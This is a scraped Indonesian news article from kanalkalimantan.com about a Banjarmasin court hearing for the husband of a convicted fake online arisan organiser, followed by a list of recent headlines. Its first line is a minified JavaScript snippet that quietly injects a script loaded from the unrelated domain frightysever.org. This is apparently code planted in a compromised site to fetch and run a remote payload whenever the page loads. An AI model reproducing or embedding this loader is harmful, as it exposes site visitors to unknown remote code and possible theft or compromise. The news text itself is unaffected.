(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Suami Bandar Arisan Fiktif Online di Banjarmasin Jalani Sidang Lanjutan


KANALKALIMANTAN.COM, BANJARMASIN –  Sidang lanjutan terdakwa Mahesa Satrio Wiguna, suami terpidana Rizky Amalia bandar arisan online fiktif kembali digelar di Pengadilan Negeri Banjarmasin, Senin (22/8/2022). Sidang kali ini dengan agenda tanggapan penuntut umum atas pledoi terdakwa.

Sebagaimana diketahui sebelumnya, terdakwa Mahesa dituntut Jaksa Penuntut Umum Radityo Wisnu Aji melanggar pasal 378 jo Pasal 56 KUHP. Mahesa dianggap terlibat membantu dalam kasus penipuan yang menjerat istrinya Amelia, dan disertakan dengan pasal 20 tentang penadahan.

Pada sidang lanjutan tersebut Jaksa Penuntut Umum (JPU) Radityo Wisnu Aji dalam tanggapannya mengatakan kepada majelis hakim untuk tetap pada tuntutan sebelumnya.

“Kami tetap pada tuntutan yang mulia,” katanya.

 

Baca juga  : Personel Bhabinkamtibmas Polres Balangan Diberi Penghargaan

Sementara itu, kuasa hukum terdakwa, Syahrani pada sidang pledoi sebelumnya dalam nota pembelaannya menyampaikan, agar terdakwa diberikan keringanan oleh majelis hakim dari tuntutan JPU.

“Kami minta kepada majelis hakim untuk memutuskan dengan seadil-adilnya atau minta keringanan dari tuntutan jaksa penuntut umum,” katanya.

Syahrani juga mengatakan kepada kanalkalimantan.com  bahwa kliennya tidak dapat dikatakan menikmati hasil dari penipuan sebagaimana dalam tuntutan JPU, karena menurutnya kliennya tersebut selama ini tidak tau apa yang dilakukan oleh istrinya tersebut dan mereka punya usaha.

“Kita tidak sependapat dengan lamanya pembebanan hukum yang dibebankan kepada terdakwa, karena keterlibatannya diseret kedalam kejahatan istrinya bukan turut serta melakukan kejahatan,” katanya.

Baca juga : 80 Peserta Ikuti Pelatihan Basis Kompetensi di BLK Banjarbaru

“Keluarganya ada usaha di beberapa tempat dan keuntungannya cukup besar, jadi selama ini dikira klien kita itu hasil dari usaha tersebut,” tambahnya.

Pada sidang lanjutan tanggapan JPU tersebut, majelis hakim yang dipimpin oleh Heru Kuncoro memutuskan untuk menunda persidangan dan akan langsung dibacakan putusan pada pekan depan, Senin 29 Agustus 2022.

“Sidang kita tunda ke Minggu depan dengan agenda putusan,” kata Ketua Majelis Hakim tersebut.

Pada sidang lanjutan tersebut terdakwa Mahesa mengikuti secara virtual dari rumah tahanan dan dipimpin langsung oleh ketua majelis hakim Heru Kuncoro beserta 2 anggota dan 1 panitera. Sementara itu penasehat hukum dan juga JPU menghadiri secara langsung sidang lanjutan di rumah Cakra PN Banjarmasin.

Untuk diketahui sebelumnya bandar arisan online fiktif Rizky Amalia telah divonis oleh majelis hakim bersalah dengan penjara 1 tahun 9 bulan, Amelia juga diwajibkan  untuk membayar kerugian korbannya senilai Rp 650 juta lebih pada sidang putusan Senin (1/8/2022). (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell


Desy Arfianty

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

4 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

6 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

6 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

8 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

8 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

12 jam ago

This website uses cookies.